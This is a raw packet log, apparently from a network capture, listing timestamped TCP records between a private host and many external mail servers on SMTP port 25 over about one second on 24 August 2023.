Aug 24, 2023 19:03:54.067677975 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.067698002 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.067718029 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.067737103 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.067858934 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.067879915 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.067909002 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.067929029 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.067945957 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.067965984 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.069350958 CEST	25	50386	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.069511890 CEST	50386	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.071854115 CEST	25	50373	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.071881056 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.073525906 CEST	25	50377	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.073640108 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:54.073765993 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:54.087415934 CEST	25	50384	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:54.087644100 CEST	50384	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:54.097475052 CEST	25	50379	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:54.097526073 CEST	25	50379	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:54.097671986 CEST	50379	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:54.101206064 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:54.101247072 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:54.103274107 CEST	50379	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:54.103528023 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:54.123825073 CEST	25	50376	96.102.157.178	192.168.2.8
Aug 24, 2023 19:03:54.135924101 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:54.136158943 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:54.143897057 CEST	25	50390	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:54.144129038 CEST	50390	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:54.148004055 CEST	25	50380	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:54.149008036 CEST	25	50389	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:54.149422884 CEST	50389	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:54.162031889 CEST	25	50382	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:54.162962914 CEST	25	50382	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:54.163223028 CEST	25	50391	209.71.212.24	192.168.2.8
Aug 24, 2023 19:03:54.163264990 CEST	50382	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:54.163378000 CEST	50391	25	192.168.2.8	209.71.212.24
Aug 24, 2023 19:03:54.164911032 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:54.165323973 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:54.171788931 CEST	25	50361	184.106.54.2	192.168.2.8
Aug 24, 2023 19:03:54.177891016 CEST	25	50374	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:54.178077936 CEST	50374	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:54.178617001 CEST	25	50377	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.178663969 CEST	25	50377	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.178791046 CEST	50377	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.178916931 CEST	50377	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.183146954 CEST	25	50386	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.183516026 CEST	25	50386	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.183814049 CEST	50386	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.188604116 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.192861080 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:54.196527958 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:54.198368073 CEST	50394	25	192.168.2.8	199.224.64.204
Aug 24, 2023 19:03:54.205929995 CEST	50395	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:54.217809916 CEST	25	50334	195.176.194.32	192.168.2.8
Aug 24, 2023 19:03:54.221110106 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:54.221277952 CEST	50392	25	192.168.2.8	216.71.131.24
Aug 24, 2023 19:03:54.236258030 CEST	25	50379	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:54.241285086 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:54.241571903 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.241763115 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.256954908 CEST	25	50389	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:54.257261992 CEST	25	50384	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:54.257443905 CEST	25	50384	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:54.257791996 CEST	50384	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:54.260344982 CEST	25	50389	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:54.260384083 CEST	25	50390	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:54.260410070 CEST	25	50290	148.163.158.5	192.168.2.8
Aug 24, 2023 19:03:54.260571957 CEST	50390	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:54.260600090 CEST	50290	25	192.168.2.8	148.163.158.5
Aug 24, 2023 19:03:54.260761023 CEST	50389	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:54.283099890 CEST	25	50391	209.71.212.24	192.168.2.8
Aug 24, 2023 19:03:54.283139944 CEST	25	50391	209.71.212.24	192.168.2.8
Aug 24, 2023 19:03:54.292165041 CEST	25	50377	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.292877913 CEST	50396	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.305644989 CEST	25	50386	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.305830956 CEST	50386	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.307365894 CEST	25	50387	44.237.12.42	192.168.2.8
Aug 24, 2023 19:03:54.307393074 CEST	25	50387	44.237.12.42	192.168.2.8
Aug 24, 2023 19:03:54.307507038 CEST	50387	25	192.168.2.8	44.237.12.42
Aug 24, 2023 19:03:54.307507038 CEST	50387	25	192.168.2.8	44.237.12.42
Aug 24, 2023 19:03:54.314229965 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.314546108 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.324448109 CEST	50397	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:54.330028057 CEST	25	50394	199.224.64.204	192.168.2.8
Aug 24, 2023 19:03:54.330185890 CEST	50394	25	192.168.2.8	199.224.64.204
Aug 24, 2023 19:03:54.331115961 CEST	25	50382	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:54.332273960 CEST	25	50382	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:54.332453966 CEST	50382	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:54.333354950 CEST	25	50382	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:54.333465099 CEST	50382	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:54.351443052 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.355600119 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.355860949 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.359126091 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.363410950 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:54.363723040 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:54.365381956 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.365423918 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.365443945 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.365466118 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.365488052 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.365506887 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.365525961 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.365542889 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.365561962 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.365582943 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.366540909 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.368051052 CEST	25	50389	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:54.369148016 CEST	25	50389	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:54.369313002 CEST	50389	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:54.370182991 CEST	25	50389	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:54.370276928 CEST	50389	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:54.378768921 CEST	25	50390	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:54.378793001 CEST	25	50390	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:54.378815889 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:54.378987074 CEST	50381	25	192.168.2.8	216.71.153.91
Aug 24, 2023 19:03:54.379491091 CEST	50390	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:54.379880905 CEST	25	50395	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:54.380004883 CEST	50395	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:54.386116982 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:54.387840033 CEST	50398	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:54.394244909 CEST	25	50290	148.163.158.5	192.168.2.8
Aug 24, 2023 19:03:54.394282103 CEST	25	50290	148.163.158.5	192.168.2.8
Aug 24, 2023 19:03:54.394403934 CEST	50290	25	192.168.2.8	148.163.158.5
Aug 24, 2023 19:03:54.394440889 CEST	50290	25	192.168.2.8	148.163.158.5
Aug 24, 2023 19:03:54.399002075 CEST	50399	25	192.168.2.8	69.49.103.243
Aug 24, 2023 19:03:54.408859015 CEST	25	50361	184.106.54.2	192.168.2.8
Aug 24, 2023 19:03:54.409130096 CEST	50361	25	192.168.2.8	184.106.54.2
Aug 24, 2023 19:03:54.410038948 CEST	25	50396	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.410193920 CEST	50396	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.427412987 CEST	25	50398	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.427642107 CEST	50398	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:54.427865028 CEST	25	50384	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:54.427894115 CEST	25	50384	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:54.428020000 CEST	50384	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:54.429277897 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.429769039 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.429887056 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.431514978 CEST	50384	25	192.168.2.8	67.195.228.106
Aug 24, 2023 19:03:54.431770086 CEST	50268	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.437362909 CEST	50400	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:54.449868917 CEST	25	50397	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:54.450072050 CEST	50397	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:54.460200071 CEST	25	50386	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.462991953 CEST	50401	25	192.168.2.8	92.204.80.3
Aug 24, 2023 19:03:54.468626022 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.469290972 CEST	25	50398	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.469425917 CEST	50398	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:54.476752996 CEST	25	50389	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:54.485120058 CEST	25	50401	92.204.80.3	192.168.2.8
Aug 24, 2023 19:03:54.485156059 CEST	25	50386	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.485184908 CEST	25	50386	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.485238075 CEST	25	50386	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.485241890 CEST	50401	25	192.168.2.8	92.204.80.3
Aug 24, 2023 19:03:54.485290051 CEST	50386	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.485318899 CEST	50386	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.492643118 CEST	25	50387	44.237.12.42	192.168.2.8
Aug 24, 2023 19:03:54.494276047 CEST	25	50390	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:54.494436026 CEST	50390	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:54.494476080 CEST	25	50390	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:54.494540930 CEST	50390	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:54.500269890 CEST	25	50382	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:54.512473106 CEST	25	50398	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.513061047 CEST	25	50401	92.204.80.3	192.168.2.8
Aug 24, 2023 19:03:54.513097048 CEST	25	50401	92.204.80.3	192.168.2.8
Aug 24, 2023 19:03:54.513206005 CEST	50401	25	192.168.2.8	92.204.80.3
Aug 24, 2023 19:03:54.513271093 CEST	50401	25	192.168.2.8	92.204.80.3
Aug 24, 2023 19:03:54.513437033 CEST	25	50398	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.513566971 CEST	50398	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:54.516309977 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.516469955 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.518862009 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.519004107 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.519932032 CEST	25	50361	184.106.54.2	192.168.2.8
Aug 24, 2023 19:03:54.523411036 CEST	25	50399	69.49.103.243	192.168.2.8
Aug 24, 2023 19:03:54.523523092 CEST	50399	25	192.168.2.8	69.49.103.243
Aug 24, 2023 19:03:54.524322987 CEST	25	50396	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.524498940 CEST	50396	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.532599926 CEST	25	50401	92.204.80.3	192.168.2.8
Aug 24, 2023 19:03:54.538546085 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.538546085 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.538583040 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.538583040 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.538600922 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.538619041 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.538645983 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.538664103 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.538681984 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.538707972 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.538732052 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.543979883 CEST	50403	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:54.546154976 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.546258926 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.550689936 CEST	25	50381	216.71.153.91	192.168.2.8
Aug 24, 2023 19:03:54.552033901 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:54.552155018 CEST	50392	25	192.168.2.8	216.71.131.24
Aug 24, 2023 19:03:54.552974939 CEST	25	50398	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.554328918 CEST	25	50398	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.554451942 CEST	50398	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:54.555732965 CEST	25	50398	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.556113958 CEST	50398	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:54.565402031 CEST	25	50400	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:54.565560102 CEST	50400	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:54.583787918 CEST	25	50403	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.584018946 CEST	50403	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:54.588944912 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:54.588979959 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:54.589087009 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:54.591207027 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.591366053 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.593966961 CEST	25	50398	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.594194889 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:54.599354982 CEST	25	50397	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:54.599524975 CEST	50397	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:54.599605083 CEST	25	50397	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:54.599692106 CEST	50397	25	192.168.2.8	47.43.18.9
Aug 24, 2023 19:03:54.601157904 CEST	25	50384	67.195.228.106	192.168.2.8
Aug 24, 2023 19:03:54.602075100 CEST	25	50386	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.611563921 CEST	25	50390	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:54.624566078 CEST	50404	25	192.168.2.8	104.47.57.110
Aug 24, 2023 19:03:54.625602007 CEST	25	50394	199.224.64.204	192.168.2.8
Aug 24, 2023 19:03:54.625730991 CEST	25	50403	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.625747919 CEST	50394	25	192.168.2.8	199.224.64.204
Aug 24, 2023 19:03:54.625912905 CEST	50403	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:54.629410982 CEST	25	50254	192.185.32.55	192.168.2.8
Aug 24, 2023 19:03:54.629568100 CEST	50254	25	192.168.2.8	192.185.32.55
Aug 24, 2023 19:03:54.638083935 CEST	25	50396	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.638128042 CEST	25	50396	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.638334036 CEST	50396	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.646661997 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.648123980 CEST	25	50399	69.49.103.243	192.168.2.8
Aug 24, 2023 19:03:54.653482914 CEST	50405	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:54.665381908 CEST	25	50403	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.665437937 CEST	25	50395	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:54.665544033 CEST	50395	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:54.666287899 CEST	25	50403	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.666467905 CEST	50403	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:54.678658009 CEST	50383	25	192.168.2.8	204.174.64.46
Aug 24, 2023 19:03:54.683228016 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.686769009 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.686971903 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.686981916 CEST	25	50275	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.687043905 CEST	50275	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.694603920 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:54.696584940 CEST	25	50400	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:54.696731091 CEST	50400	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:54.705996990 CEST	25	50403	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.707204103 CEST	25	50403	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.707251072 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:54.707269907 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:54.707329035 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.707371950 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:54.707608938 CEST	50403	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:54.708395958 CEST	25	50403	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.708456039 CEST	50403	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:54.713356972 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:54.713510036 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:54.713771105 CEST	50392	25	192.168.2.8	216.71.131.24
Aug 24, 2023 19:03:54.721502066 CEST	25	50397	47.43.18.9	192.168.2.8
Aug 24, 2023 19:03:54.730074883 CEST	25	50388	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.730221033 CEST	50388	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.732682943 CEST	50406	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:54.747008085 CEST	25	50403	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:54.752103090 CEST	25	50396	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.752365112 CEST	50396	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.754951000 CEST	25	50404	104.47.57.110	192.168.2.8
Aug 24, 2023 19:03:54.755132914 CEST	50404	25	192.168.2.8	104.47.57.110
Aug 24, 2023 19:03:54.757323980 CEST	25	50394	199.224.64.204	192.168.2.8
Aug 24, 2023 19:03:54.757376909 CEST	25	50394	199.224.64.204	192.168.2.8
Aug 24, 2023 19:03:54.757558107 CEST	50394	25	192.168.2.8	199.224.64.204
Aug 24, 2023 19:03:54.757585049 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:54.760226965 CEST	25	50268	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.760799885 CEST	25	50254	192.185.32.55	192.168.2.8
Aug 24, 2023 19:03:54.760953903 CEST	50254	25	192.168.2.8	192.185.32.55
Aug 24, 2023 19:03:54.790076017 CEST	25	50405	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:54.790270090 CEST	50405	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:54.799675941 CEST	25	50402	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.799886942 CEST	50407	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.799933910 CEST	50402	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.815067053 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.818027020 CEST	25	50393	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.818133116 CEST	50393	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.821675062 CEST	50408	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:54.823375940 CEST	25	50400	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:54.823565006 CEST	25	50400	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:54.823698044 CEST	50400	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:54.835797071 CEST	25	50395	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:54.835864067 CEST	25	50395	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:54.836105108 CEST	50395	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:54.845839024 CEST	50409	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:54.848354101 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.851001024 CEST	25	50372	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.866117001 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.874917984 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:54.875181913 CEST	25	50409	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:54.875329018 CEST	50409	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:54.880480051 CEST	25	50392	216.71.131.24	192.168.2.8
Aug 24, 2023 19:03:54.886924982 CEST	25	50404	104.47.57.110	192.168.2.8
Aug 24, 2023 19:03:54.888556004 CEST	50392	25	192.168.2.8	216.71.131.24
Aug 24, 2023 19:03:54.888592005 CEST	50404	25	192.168.2.8	104.47.57.110
Aug 24, 2023 19:03:54.890640020 CEST	25	50394	199.224.64.204	192.168.2.8
Aug 24, 2023 19:03:54.890876055 CEST	50394	25	192.168.2.8	199.224.64.204
Aug 24, 2023 19:03:54.891160965 CEST	25	50254	192.185.32.55	192.168.2.8
Aug 24, 2023 19:03:54.891475916 CEST	50254	25	192.168.2.8	192.185.32.55
Aug 24, 2023 19:03:54.897367001 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:54.904126883 CEST	25	50406	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:54.904237032 CEST	50406	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:54.906133890 CEST	25	50409	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:54.906300068 CEST	50409	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:54.906411886 CEST	25	50396	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.913322926 CEST	25	50407	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.913566113 CEST	50407	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.919018984 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:54.930493116 CEST	25	50405	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:54.930764914 CEST	50405	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:54.932074070 CEST	50410	25	192.168.2.8	216.71.142.94
Aug 24, 2023 19:03:54.932962894 CEST	25	50396	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.933001041 CEST	25	50396	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:54.933082104 CEST	50396	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.933214903 CEST	50396	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:54.935379028 CEST	25	50409	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:54.937515974 CEST	25	50408	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:54.937670946 CEST	50408	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:54.938178062 CEST	25	50409	108.177.126.27	192.168.2.8
Aug 24, 2023 19:03:54.938314915 CEST	50409	25	192.168.2.8	108.177.126.27
Aug 24, 2023 19:03:54.950460911 CEST	25	50400	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:54.950540066 CEST	25	50400	144.160.235.143	192.168.2.8
Aug 24, 2023 19:03:54.950751066 CEST	50400	25	192.168.2.8	144.160.235.143
Aug 24, 2023 19:03:54.955373049 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:54.955641031 CEST	50354	25	192.168.2.8	74.125.200.26
